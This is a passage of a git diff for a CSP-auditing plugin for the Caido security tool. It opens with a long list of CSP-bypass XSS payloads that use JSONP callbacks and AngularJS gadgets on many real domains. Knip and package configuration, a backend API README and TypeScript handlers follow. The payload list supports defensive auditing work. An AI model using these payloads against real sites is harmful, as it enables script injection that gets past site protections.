src="https://connect.mail.ru/share_count?url_list=x&callback=1&func=alert"></script> -content.akamai.com <script src="https://content.akamai.com/index.php/form/getForm?munchkinId=113-DTN-266&form=1402&callback=alert"></script> -count-server.sharethis.com <script src="https://count-server.sharethis.com/v2.0/get_counts?cb=alert"></script> -clients1.google.com <script src="https://clients1.google.com/complete/search?callback=alert&q=PIC&nolabels=t&client=youtube&ds=yt&_=1361575554883"></script> -clients6.google.com <script src="https://clients6.google.com/drive/v2beta/files?callback=alert(1)"></script> -d.adroll.com <script src="https://d.adroll.com/user_attrs?advertisable_eid=5L5IV3X4ZNCUZFMLN5KKOD&jsonp=alert(document.domain)"></script> -d.la3-c2-ia5.salesforceliveagent.com <script src="https://d.la3-c2-ia5.salesforceliveagent.com/chat/rest/EmbeddedService/EmbeddedServiceConfig.jsonp?org_id=00D40000000MvPv&EmbeddedServiceConfig.configName=Support_Brandfolder_Chat_Agents&callback=alert&version=48"></script> -d1xrp9zhb3ks3c.cloudfront.net <body ng-app ng-csp><script src="https://d1xrp9zhb3ks3c.cloudfront.net/web/changessalon/node_modules/angular/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -dblp.org <script src="https://dblp.org/search/venue/api?q=&h=1000&c=0&rd=1a&format=jsonp&callback=alert"></script> -demo.matomo.cloud <script src="https://demo.matomo.cloud/?module=API&method=Overlay.getTranslations&idSite=1&format=JSON&callback=alert"></script> -dev.virtualearth.net <script src="https://dev.virtualearth.net/REST/v1/Imagery/Metadata/Road?jsonp=alert(document.domain);//"></script> -documentation-resources.opendatasoft.com <script src="https://documentation-resources.opendatasoft.com/api/datasets/1.0/doc-geonames-cities-5000/?format=jsonp&callback=confirm(1);"></script> -dpm.demdex.net <script src="https://dpm.demdex.net/id?d_cb=alert"></script> -dynamic.criteo.com <script src="https://dynamic.criteo.com/js/ld/s2s.js?p=1&c=1&j=alert"></script> -elysiumwebsite.s3.amazonaws.com <body ng-app ng-csp><script src="//elysiumwebsite.s3.amazonaws.com/uploads/blog-media/rockstar/angular.min.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body> -eu.battle.net <script src="https://eu.battle.net/support/update/json?callback=alert"></script> -fast.wistia.com <script src="https://fast.wistia.com/embed/medias/o75jtw7654.json?callback=alert"></script> -forms.hsforms.com <script src="https://forms.hsforms.com/embed/v3/form/1/00000000-0000-0000-0000-000000000000?callback=alert"></script> -forms.hubspot.com <script src="https://forms.hubspot.com/embed/v3/form/2059467/2e1a1b5b-27bb-447d-aac4-0b87c1e88fec?callback=alert"></script> -geolocation.onetrust.com <script src="https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location/alert"></script> -gist.github.com <script src="https://gist.github.com/renniepak/e7afcd7e727e1a0c481d955ba10441a9.json?callback=alert"></script> -global.apis.naver.com <script src="https://global.apis.naver.com/commentBox/cbox/web_neo_list_jsonp.json?_callback=alert"></script> -go.dev <script src="https://go.dev/blog/.json?jsonp=alert"></script> -go.snyk.io <script src="https://go.snyk.io/index.php/form/getForm?munchkinId=677-THP-415&form=1461&callback=alert"></script> -google.com <script src="https://google.com/complete/search?client=chrome&jsonp=alert(1)"></script> -graph.facebook.com <script src="https://graph.facebook.com/?id=1337&callback=alert"></script> -gstatic.com <body ng-app ng-csp><script src="//gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -gstatic.com <script src='https://gstatic.com/recaptcha/about/js/main.min.js'></script><img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'> -gum.criteo.com <script src="https://gum.criteo.com/sync?c=123&r=2&a=1&j=alert"></script> -hcaptcha.com <script src="https://hcaptcha.com/1/api.js?onload=alert&render=explicit"></script> -help.afterpay.com <script src="https://help.afterpay.com/sc/faye/?message=[{%22channel%22:%22%22}]&jsonp=alert"></script> -ib.adnxs.com <script src="https://ib.adnxs.com/async_usersync?cbfn=alert(1)-"></script> -info.cloudflare.com <script src="https://info.cloudflare.com//index.php/form/getForm?munchkinId=194-VVC-221&form=1077&callback=alert"></script> -info.elastic.co <script src="https://info.elastic.co/index.php/form/getForm?munchkinId=813-MAM-392&form=6196&callback=alert"></script> -inno.blob.core.windows.net <body ng-app ng-csp><script src="//inno.blob.core.windows.net/new/libs/AngularJS/1.2.1/angular.min.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body> -investor.coinbase.com <script src="https://investor.coinbase.com/feed/People.svc/GetPeopleList?callback=confirm(document.domain);"></script> -ipinfo.io <script src="https://ipinfo.io/?format=jsonp&callback=alert"></script> -itunes.apple.com <script src="https://itunes.apple.com/se/rss/toppodcasts/json?callback=alert"></script> -js.hcaptcha.com <script src="https://js.hcaptcha.com/1/api.js?onload=alert&render=explicit"></script> -kbcprod.service-now.com <body ng-app ng-csp><script src="https://kbcprod.service-now.com/scripts/angular_includes_1.5.11.jsx"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -kendo.cdn.telerik.com <body ng-app ng-csp><script src="https://kendo.cdn.telerik.com/2015.2.805/js/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -lghnh-mkt-prod1.campaign.adobe.com <script src="https://lghnh-mkt-prod1.campaign.adobe.com/lgh/at_seg_list.jssp?callback=alert(1)-"></script> -lptag.liveperson.net <script src="https://lptag.liveperson.net/lptag/api/account/1/configuration/applications/taglets/.jsonp?v=2.0&cb=alert(1)-"></script> -links.services.disqus.com <script src="https://links.services.disqus.com/api/ping?format=jsonp&key=cfdfcf52dffd0a702a61bad27507376d&loc=http%3A%2F%2Fabcnews.go.com%2Fblogs%2Fhealth%2F2013%2F03%2F21%2F1-in-10-u-s-deaths-blamed-on-salt%2F&subId=2329827&v=1&jsonp=alert"></script> -locate.pricespider.com <script src="https://locate.pricespider.com/?callback=alert(1)"></script> -m.media-amazon.com <body ng-app ng-csp><script src="https://m.media-amazon.com/images/I/81cx8O4at9L.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -mango.buzzfeed.com <script src="https://mango.buzzfeed.com/polls/service/editorial/post?poll_id=121996521&result_id=1&callback=alert(1)%2f%2f"></script> -maps-api-ssl.google.com <script src="https://maps-api-ssl.google.com/maps/api/js?callback=alert(1337)"></script> -maps.google.com <script src="https://maps.google.com/maps/api/js?sensor=false&callback=alert(1)"></script> -maps.google.de <script src="https://maps.google.de/maps/api/js?sensor=false&callback=alert(1)"></script> -maps.google.lv <script src="https://maps.google.lv/maps/api/js?sensor=false&callback=alert(1)"></script> -maps.google.ru <script src="https://maps.google.ru/maps/api/js?sensor=false&callback=alert(1)"></script> -maps.googleapis.com <script src="https://maps.googleapis.com/maps/api/js?callback=alert(1337)"></script> -mc.yandex.ru <script src="https://mc.yandex.ru/watch/9528925/1?wmode=5&callback=alert"></script> -nominatim.openstreetmap.org <script src="https://nominatim.openstreetmap.org/search?q=&format=json&addressdetails=1&polygon_geojson=1&json_callback=alert"></script> -oamssoqae.ieee.org <script src="https://oamssoqae.ieee.org/ieeevendorsso/ssocookievalidator?callback=alert(1)-"></script> -openexchangerates.org <script src="https://openexchangerates.org/api/latest.json?app_id=4a363014b909486b8f49d967b810a6c3&callback=alert(document.domain)"></script> -page.gitlab.com <script src="https://page.gitlab.com/index.php/form/getForm?munchkinId=194-VVC-221&form=1077&callback=alert"></script> -partner.googleadservices.com <script src="https://partner.googleadservices.com/gampad/cookie.js?domain=x&callback=alert&client=ca-pub-3374367632700222"></script> -passport.baidu.com <script src="https://passport.baidu.com/channel/unicast?callback=alert"></script> -pixel.quantserve.com <script src="https://pixel.quantserve.com/api/segments.json?callback=alert"></script> -portal.ayco.com <script src="https://portal.ayco.com/publicBundles/angularjs"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -pubads.g.doubleclick.net <script src="https://pubads.g.doubleclick.net/gampad/ads?gdfp_req=1&output=json_html&callback=alert&impl=fifs&json_a=1&iu_parts=4215%2Cimdb2.consumer.homepage&enc_prev_ius=%2F0%2F1%2C%2F0%2F1&prev_iu_szs=1008x150%7C1008x200%7C1008x30%7C970x250%7C9x1%2C300x250%7C11x1&cust_params=fv%3D1%26ab%3Df%26bpx%3D1%26c%3D1%26s%3D3075%252C32%26u%3D142752923777%26oe%3Dutf-8"></script> -public-api.wordpress.com <script src="https://public-api.wordpress.com/rest/v1/sites/en.blog.wordpress.com/posts/?number=1&callback=alert"></script> -query.fqtag.com <script src="https://query.fqtag.com/b?callback=alert(1)"></script> -r.skimresources.com <script src="https://r.skimresources.com/api/?callback=alert"></script> -raae2vza0snymz9cm3r8ix74bs71vdlz.edns.ip-api.com <script src="https://raae2vza0snymz9cm3r8ix74bs71vdlz.edns.ip-api.com/json?callback=alert(1)-"></script> -recaptcha.net <script src="https://recaptcha.net/recaptcha/api.js?onload=alert"></script> -rentokil-domains.firebaseio.com <script src="https://rentokil-domains.firebaseio.com/.json?callback=alert(1)-"></script> -ring.com <script src="https://ring.com/partials/consent/sv-SE/strings.json?callback=alert"></script> -romania.amazon.com <body ng-app ng-csp><script src="https://romania.amazon.com/app/vendor.min.js"></script><input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(1)'></body> -s.fqtag.com <script src="https://s.fqtag.com/b?callback=alert(1)"></script> -s.ytimg.com <body ng-app ng-csp><script src="https://s.ytimg.com/yts/jslib/angular.min-vfl8oYsy-.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -search.yahoo.com <script src="https://search.yahoo.com/sugg/gossip/gossip-us-ura/?f=1&.crumb=wYtclSpdh3r&output=sd1&command=&pq=&l=1&bm=3&appid=exp-ats1.l7.search.vip.ir2.yahoo.com&t_stmp=1571806738592&nresults=10&bck=1he6d8leq7ddu%26b%3D3%26s%3Dcb&csrcpvid=8wNpljk4LjEYuM1FXaO1vgNfMTk1LgAAAAA5E2a9&vtestid=&mtestid=&spaceId=1197804867&callback=confirm"></script> -secure.gravatar.com <script src="https://secure.gravatar.com/930fc2e7cd239606c398bff5b5fc12e7.json?callback=alert"></script> -secure.quantserve.com <script src="https://secure.quantserve.com/api/segments.json?callback=alert"></script> -securepubads.g.doubleclick.net <script src="https://securepubads.g.doubleclick.net/gampad/ads?gdfp_req=1&output=json_html&iu=%2F32173961%2Fdesktop%2Ffrontpage%2Flisting&sz=300x250&url=https%3A%2F%2Fwww.reddit.com%2F&vrg=147&callback=alert"></script> -segapi.quantserve.com <script src="https://segapi.quantserve.com/api/segments.json?callback=alert"></script> -server.ethicalads.io <script src="https://server.ethicalads.io/api/v1/decision/?publisher=jsbin&ad_types=x&format=jsonp&div_ids=x&callback=alert(1)-"></script> -shop.samsung.com <script src="https://shop.samsung.com/br/_v/private/ng/p4v1/getCartCount?callback=alert"></script> -smartcaptcha.yandexcloud.net <script src="https://smartcaptcha.yandexcloud.net/captcha.js?render=onload&onload=alert"></script> -social.yandex.ru <script src="https://social.yandex.ru/providers.jsonp?callback=alert"></script> -soundcloud.com <script src="https://soundcloud.com/oembed?format=js&callback=alert&url=https://soundcloud.com/rich-the-kid/plug-walk-1"></script> -srv.carbonads.net <script src="https://srv.carbonads.net/ads/x.json?callback=alert"></script> -ssl.gstatic.com <body ng-app ng-csp><script src="//ssl.gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -sso.bytedance.com <script src="https://sso.bytedance.com/watermark/?callback=alert"></script> -st3.zoom.us <script src="https://st3.zoom.us/static/6.2.7600/js/lib/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -static.parastorage.com <body ng-app ng-csp><script src="https://static.parastorage.com/services/third-party/angularjs/1.4.5/angular.min.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -storemapper-herokuapp-com.global.ssl.fastly.net <script src="https://storemapper-herokuapp-com.global.ssl.fastly.net/api/users/9223/stores.js?callback=alert(1)-"></script> -suggest.taobao.com <script src="https://suggest.taobao.com/sug?callback=alert"></script> -suggestqueries-clients6.youtube.com <script src="https://suggestqueries-clients6.youtube.com/complete/search?client=youtube&q=$query&callback=alert"></script> -support.zendesk.com <script src="https://support.zendesk.com/accounts/reminder?callback=alert(window.location)//"></script> -sync.im-apps.net <script src="https://sync.im-apps.net/imid/segment?callback=alert(1)&token=VXoW9wEaCAYxiIkb8Mzm7Q"></script> -tagmanager.google.com <script src="https://tagmanager.google.com/debug/api/vtinfo?gtm_auth=a-0uanYFkML7e3v7Vmxpwg&env_id=env-8&public_id=GTM-TWMCBFD&templates=&callback=alert"></script> -thiscanbeanything.zendesk.com <script src="https://thiscanbeanything.zendesk.com/sc/faye/?message=[{%22channel%22:%22%22}]&jsonp=alert"></script> -translate.google.com <script src="https://translate.google.com/translate_a/element.js?cb=alert"></script> -translate.googleapis.com <script src="https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();"></script> -translate.yandex.net <script src="https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert"></script> -tr.indeed.com <script src="https://tr.indeed.com/m/newjobs?q=&l=&ts=1734358724474&callback=alert"></script> -tr.snapchat.com <script src="https://tr.snapchat.com/config/com/')%7Dcatch(e)%7B%7D%7D()%3balert(1)%2f%2f.js"></script> -typekit.com <script src="https://typekit.com/api/v1/json/libraries/full?callback=alert"></script> -udgnoz7mccyaowzp.public.blob.vercel-storage.com <script src="https://udgnoz7mccyaowzp.public.blob.vercel-storage.com/a-LAZhjxXucrzBiROqCt4bsY3n6srlWP.js"></script> -ug.alibaba.com <script src="https://ug.alibaba.com/api/ship/read?callback=alert"></script> -uk.indeed.com <script src="https://uk.indeed.com/m/newjobs?callback=alert"></script> -ulogin.ru <script src="https://ulogin.ru/token.php?callback=alert(1337)"></script> -unpkg.com <script src="https://unpkg.com/angular@1.8.3/angular.min.js"></script><div ng-app><img src=x ng-on-error="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -unpkg.com <script src="https://unpkg.com/htmx.org"></script><any hx-trigger="x[1)}),alert(origin)//]"> -unpkg.com <script src="https://unpkg.com/hyperscript.org"></script><x _="on load alert(1)"> -urs.pbs.org <script src="https://urs.pbs.org/redirect/1/?format=jsonp&callback=alert(1)"></script> -vimeo.com <script src="https://vimeo.com/api/v2/video/1006042481.json?callback=alert"></script> -visitor-service.tealiumiq.com <script src="https://visitor-service.tealiumiq.com/northwesternmutual/main/q?callback=alert(1)"></script> -visitor.pixplug.in <script src="https://visitor.pixplug.in/jsonp/getdata.php?callback=alert(1)"></script> -wb.amap.com <script src="https://wb.amap.com/channel.php?callback=alert"></script> -widget.usersnap.com <script src="https://widget.usersnap.com/load/d5abc654-0976-45b9-8074-fa5e721db433?onload=alert"></script> -widgets.pinterest.com <script src="https://widgets.pinterest.com/v3/pidgets/boards/ciciwin/hedgehog-squirrel-crafts/pins/?callback=alert"></script> -wikipedia.org <script src="https://en.wikipedia.org/w/api.php?action=opensearch&format=json&limit=5&callback=alert&search=renniepak"></script> -wordpress.org <script src="https://wordpress.org/wp-json/wp/v2/posts/?_jsonp=alert"></script> -wse.api.here.com <script src="https://wse.api.here.com/v8/findsequence2?apiKey=PJy8lvw9xxcCnYDFFsp8IvQB_l7ScobQmQ2xttBWfuQ&jsonCallback=alert(origin);void&mode=TransportModes"></script> -www-api.ibm.com <script src="https://www-api.ibm.com/search/typeahead/v1?lang=en&cc=us&query=l&callback=alert"></script> -www.ancestrycdn.com <body ng-app ng-csp><script src="https://www.ancestrycdn.com/ui-static/lib/angular/1.2.3/angular.min.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body> -www.bing.com <script src="https://www.bing.com/api/maps/mapcontrol?key=AlSfV3wSTlPFqxEdS97v1d1ZK25Qg4OxZerOAjFYQPZwtY4bQqhz4jDRou_kCmbJ&callback=alert"></script> -www.blogger.com <script src="https://www.blogger.com/feeds/8063678697117239807/posts/default?callback=alert"></script> -www.google-analytics.com <script src="https://www.google-analytics.com/debug/api/vtinfo?gtm_auth=a-0uanYFkML7e3v7Vmxpwg&env_id=env-8&public_id=GTM-TWMCBFD&templates=&callback=alert"></script> -www.google.com <script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> -www.google.com <script src='https://www.google.com/recaptcha/about/js/main.min.js'></script><img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'> -www.googleapis.com <script src="https://www.googleapis.com/blogger/v3/blogs/1/posts/1?callback=alert()"></script> -www.googleapis.com <script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)"></script> -www.googletagmanager.com <script src="https://www.googletagmanager.com/debug/api/vtinfo?gtm_auth=a-0uanYFkML7e3v7Vmxpwg&env_id=env-8&public_id=GTM-TWMCBFD&templates=&callback=alert"></script> -www.gstatic.com <body ng-app ng-csp><script src="//www.gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -www.gstatic.com <script src='https://www.gstatic.com/recaptcha/about/js/main.min.js'></script><img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'> -www.meteoprog.ua <script src="https://www.meteoprog.ua/data/weather/informer/Poltava.js?callback=alert(1337)"></script> -www.microsoft.com <script src="https://www.microsoft.com/en-us/research/wp-json?_jsonp=alert"></script> -www.paypal.com <script src="https://www.paypal.com/checkoutnow/remembered?callback=alert"></script> -www.recaptcha.net <script src="https://www.recaptcha.net/recaptcha/api.js?onload=alert"></script> -www.reddit.com <script src="https://www.reddit.com/.json?limit=1&jsonp=alert"></script> -www.st.com <body ng-app ng-csp><script src="https://www.st.com/etc/clientlibs/st-search-cx/stangularjs.min.d9f5c8180af41b5cae710870b6b018fe.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)'"></body> -www.yastat.net <script src="https://www.yastat.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -www.yastatic.net <script src="https://www.yastatic.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -www.youtube.com <script src="https://www.youtube.com/oembed?callback=alert(1)"></script> -yandex.st <script src="https://yandex.st/jquery/1.8.2/jquery.min.js"></script><script src="https://yandex.st/bootstrap/3.0.3/js/bootstrap.min.js"></script><button data-toggle="modal" data-target="$('head').html('<script>alert(1)</script>')">Test XSS</button> -yastat.net <script src="https://yastat.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -yastatic.net <script src="https://yastatic.net/s3/milab/js/angular.min.js"></script><div ng-app><input autofocus ng-focus="window=$event.target.ownerDocument.defaultView;window.alert(window.origin);"> -yuedust.yuedu.126.net <body ng-app ng-csp><script src="//yuedust.yuedu.126.net/js/components/angular/angular.js"></script><div ng-app ng-csp><div ng-focus="x=$event;" id=f tabindex=0>foo</div><div ng-repeat="(key, value) in x.view"><div ng-if="key == 'window'">{{ [1].reduce(value.alert, 1); }}</div></div></div></body> -yugiohmonstrosdeduelo.blogspot.com <script src="https://yugiohmonstrosdeduelo.blogspot.com/feeds/posts/summary?callback=alert"></script> -zhike.help.360.cn <script src="https://zhike.help.360.cn/api/v1/robotWindow?callback=alert(1)-"></script> -omtr2.partners.salesforce.com <script src="https://omtr2.partners.salesforce.com/id?callback=alert"></script> diff --git a/knip.ts b/knip.ts new file mode 100644 index 0000000..9c3af27 --- /dev/null +++ b/knip.ts @@ -0,0 +1,24 @@ +import type { KnipConfig } from "knip"; + +const config: KnipConfig = { + workspaces: { + ".": { + entry: ["caido.config.ts", "eslint.config.mjs", "vitest.config.ts"], + }, + "packages/shared": { + entry: ["src/index.ts"], + project: ["src/**/*.ts"], + }, + "packages/backend": { + entry: ["src/index.ts", "src/data/index.ts", "src/engine/index.ts"], + project: ["src/**/*.ts"], + ignoreDependencies: ["caido"], + }, + "packages/frontend": { + entry: ["src/index.ts", "src/plugins/sdk.ts"], + project: ["src/**/*.{ts,tsx,vue}"], + }, + }, +}; + +export default config; diff --git a/package.json b/package.json index 51dfdc4..2d47b6c 100644 --- a/package.json +++ b/package.json @@ -1,25 +1,26 @@ { "name": "csp-auditor", - "version": "1.0.3", + "version": "2.0.0", "private": true, "scripts": { "typecheck": "pnpm -r typecheck", "lint": "eslint ./packages/**/src --fix", - "prebuild": "node scripts/generate-bypass-data.js", + "knip": "knip", + "test": "vitest run", "build": "caido-dev build", - "prewatch": "node scripts/generate-bypass-data.js", "watch": "caido-dev watch" }, "devDependencies": { - "@caido-community/dev": "^0.1.3", - "@caido/eslint-config": "^0.8.0", + "@caido-community/dev": "0.1.6", + "@caido/eslint-config": "0.5.0", "@caido/tailwindcss": "0.0.1", - "@vitejs/plugin-vue": "5.2.4", - "eslint": "^10.0.0", - "lodash": "^4.17.21", - "postcss-prefixwrap": "1.57.2", - "tailwindcss": "3.4.19", - "tailwindcss-primeui": "0.6.1", - "typescript": "5.9.3" + "@vitejs/plugin-vue": "5.2.1", + "eslint": "9.29.0", + "postcss-prefixwrap": "1.51.0", + "tailwindcss": "3.4.13", + "tailwindcss-primeui": "0.3.4", + "typescript": "5.5.4", + "knip": "5.70.2", + "vitest": "4.1.2" } } diff --git a/packages/backend/README.md b/packages/backend/README.md new file mode 100644 index 0000000..08ff3f3 --- /dev/null +++ b/packages/backend/README.md @@ -0,0 +1,198 @@ +# CSP Auditor Backend API + +> 13 RPC endpoints for Content Security Policy vulnerability analysis. Usable from the frontend plugin or programmatically via the Caido SDK client in CI/CD pipelines. + +## Quick Start + +```typescript +const analyses = await sdk.backend.getAllAnalyses(); +const summary = await sdk.backend.getSummary(); +const exported = await sdk.backend.exportFindings("json"); +``` + +Every API method returns `Result<T>`: + +```typescript +type Result<T> = + | { kind: "Ok"; value: T } + | { kind: "Error"; error: string }; + +const result = await sdk.backend.getAllAnalyses(); +if (result.kind === "Error") { + sdk.window.showToast(result.error, { variant: "error" }); + return; +} +const analyses = result.value; +``` + +--- + +## API Reference + +### Analysis + +```typescript +getAllAnalyses(): Result<AnalysisResult[]> +getAnalysis(requestId: string): Result<AnalysisResult | undefined> +getSummary(): Result<AnalysisSummary> +clearCache(): Result<void> +``` + +### Settings + +```typescript +getScopeEnabled(): Result<boolean> +setScopeEnabled(enabled: boolean): Result<void> +getFindingsEnabled(): Result<boolean> +setFindingsEnabled(enabled: boolean): Result<void> +getCheckSettings(): Result<Record<string, boolean>> +setCheckSettings(settings: Record<string, boolean>): Result<void> +updateSingleCheck(checkId: string, enabled: boolean): Result<void> +``` + +### Export + +```typescript +exportFindings(format: "json" | "csv"): Result<string> +``` + +### Bypass Database + +```typescript +getBypassRecords(): Result<BypassRecord[]> +``` + +--- + +## Analysis + +CSP headers are automatically analyzed when detected in HTTP responses. The plugin intercepts responses via `onInterceptResponse`, extracts CSP headers, parses policies, and runs 20+ security checks. + +### Get all analyses + +```typescript +const result = sdk.backend.getAllAnalyses(); +if (result.kind === "Ok") { + for (const analysis of result.value) { + console.log(`${analysis.requestId}: ${analysis.findings.length} findings`); + } +} +``` + +### Get analysis summary + +```typescript +const result = sdk.backend.getSummary(); +if (result.kind === "Ok") { + const summary = result.value; + console.log(`Total: ${summary.totalAnalyses} analyses, ${summary.totalFindings} findings`); + console.log(`High: ${summary.severityCounts.high}, Medium: ${summary.severityCounts.medium}`); +} +``` + +### Export findings + +```typescript +const jsonResult = await sdk.backend.exportFindings("json"); +const csvResult = await sdk.backend.exportFindings("csv"); +``` + +### Clear cache + +```typescript +sdk.backend.clearCache(); +``` + +--- + +## Settings + +### Scope filtering + +When enabled, only requests matching the Caido scope are analyzed. + +```typescript +await sdk.backend.setScopeEnabled(true); +const result = await sdk.backend.getScopeEnabled(); +console.log(`Scope filtering: ${result.value}`); +``` + +### Auto-finding creation + +When enabled, Caido findings are automatically created for detected vulnerabilities. + +```typescript +await sdk.backend.setFindingsEnabled(true); +``` + +### Check configuration + +Enable or disable individual security checks. + +```typescript +const settings = await sdk.backend.getCheckSettings(); +console.log(settings.value); + +await sdk.backend.updateSingleCheck("script-wildcard", false); + +await sdk.backend.setCheckSettings({ + "script-wildcard": true, + "script-unsafe-inline": true, + "script-unsafe-eval": false, +}); +``` + +--- + +## Bypass Database + +Access the built-in CSP bypass payload database (205 entries from CSPBypass research). + +```typescript +const result = await sdk.backend.getBypassRecords(); +if (result.kind === "Ok") { + for (const record of result.value) { + console.log(`${record.domain} [${record.technique}]: ${record.code}`); + } +} +``` + +--- + +## Events + +Events emitted from backend to frontend. Subscribe with `sdk.backend.onEvent()`. + +```typescript +sdk.backend.onEvent("analysisUpdated", () => { + console.log("Analysis cache changed - refetch data"); +}); +``` + +The `analysisUpdated` event fires when: + +- A new analysis is added to the cache +- The cache is cleared +- No payload data - the frontend should refetch all analyses + +--- + +## Types + +All types from `"shared"`: + +```typescript +import type { + AnalysisResult, + AnalysisSummary, + ParsedPolicy, + PolicyDirective, + PolicyFinding, + PolicySource, + CheckId, + SeverityLevel, + BypassRecord, + Result, +} from "shared"; +``` + diff --git a/packages/backend/package.json b/packages/backend/package.json index 9af4978..7fcc8d9 100644 --- a/packages/backend/package.json +++ b/packages/backend/package.json @@ -1,13 +1,16 @@ { "name": "backend", "version": "0.0.0", + "private": true, "type": "module", "types": "src/index.ts", "scripts": { "typecheck": "tsc --noEmit" }, + "dependencies": { + "shared": "workspace:*" + }, "devDependencies": { - "@caido/sdk-backend": "^0.54.0", - "@types/node": "^24.3.1" + "@caido/sdk-backend": "0.55.3" } } diff --git a/packages/backend/src/api/analysis.ts b/packages/backend/src/api/analysis.ts new file mode 100644 index 0000000..ab0c930 --- /dev/null +++ b/packages/backend/src/api/analysis.ts @@ -0,0 +1,30 @@ +import type { SDK } from "caido:plugin"; +import type { AnalysisResult, AnalysisSummary, Result } from "shared"; +import { ok } from "shared"; + +import { + clearCache, + computeSummary, + getAllAnalyses, + getAnalysis, +} from "../services"; + +export function apiGetAllAnalyses(_sdk: SDK): Result<AnalysisResult[]> { + return ok(getAllAnalyses()); +} + +export function apiGetAnalysis( + _sdk: SDK, + requestId: string, +): Result<AnalysisResult | undefined> { + return ok(getAnalysis(requestId)); +} + +export function apiGetSummary(_sdk: SDK): Result<AnalysisSummary> { + return ok(computeSummary()); +} + +export function apiClearCache(_sdk: SDK): Result<void> { + clearCache(); + return ok(undefined); +} diff --git a/packages/backend/src/api/bypass.ts b/packages/backend/src/api/bypass.ts new file mode 100644 index 0000000..71670fd --- /dev/null +++ b/packages/backend/src/api/bypass.ts @@ -0,0 +1,9 @@ +import type { SDK } from "caido:plugin"; +import type { BypassRecord, Result } from "shared"; +import { ok } from "shared"; + +import { BYPASS_RECORDS } from "../data"; + +export function apiGetBypassRecords(_sdk: SDK): Result<BypassRecord[]> { + return ok(BYPASS_RECORDS); +} diff --git a/packages/backend/src/api/export.ts b/packages/backend/src/api/export.ts new file mode 100644 index 0000000..4405454 --- /dev/null +++ b/packages/backend/src/api/export.ts @@ -0,0 +1,17 @@ +import type { SDK } from "caido:plugin"; +import type { Result } from "shared"; +import { err, ok } from "shared"; + +import { exportAsCsv, exportAsJson, getAllAnalyses } from "../services"; + +export function apiExportFindings( + _sdk: SDK, + format: "json" | "csv", +): Result<string> { + const analyses = getAllAnalyses(); + + if (format === "json") return ok(exportAsJson(analyses)); + if (format === "csv") return ok(exportAsCsv(analyses)); + + return err(`Unsupported export format: ${format}`); +} diff --git a/packages/backend/src/api/index.ts b/packages/backend/src/api/index.ts new file mode 100644 index 0000000..68a00d9 --- /dev/null +++ b/packages/backend/src/api/index.ts @@ -0,0 +1,20 @@ +export { + apiGetAllAnalyses, + apiGetAnalysis, + apiGetSummary, + apiClearCache, +} from "./analysis"; + +export { + apiGetScopeEnabled, + apiSetScopeEnabled, + apiGetFindingsEnabled, + apiSetFindingsEnabled, + apiGetCheckSettings, + apiSetCheckSettings, + apiUpdateSingleCheck, +} from "./settings"; + +export { apiExportFindings } from "./export"; + +export { apiGetBypassRecords } from "./bypass"; diff --git a/packages/backend/src/api/settings.ts b/packages/backend/src/api/settings.ts new file mode 100644 index 0000000..c08ad69 --- /dev/null +++ b/packages/backend/src/api/settings.ts @@ -0,0 +1,57 @@ +import type { SDK } from "caido:plugin"; +import type { Result } from "shared"; +import { ok } from "shared"; + +import { + getCheckSettings, + getFindingsEnabled, + getScopeEnabled, + setCheckSettings, + setFindingsEnabled, + setScopeEnabled, + updateSingleCheck, +} from "../services"; + +export function apiGetScopeEnabled(_sdk: SDK): Result<boolean> { + return ok(getScopeEnabled()); +} + +export function apiSetScopeEnabled(_sdk: SDK, enabled: boolean): Result<void> { + setScopeEnabled(enabled); + return ok(undefined); +} + +export function apiGetFindingsEnabled(_sdk: SDK): Result<boolean> { + return ok(getFindingsEnabled()); +} + +export function apiSetFindingsEnabled( + _sdk: SDK, + enabled: boolean, +): Result<void> { + setFindingsEnabled(enabled); + return ok(undefined); +} + +export function 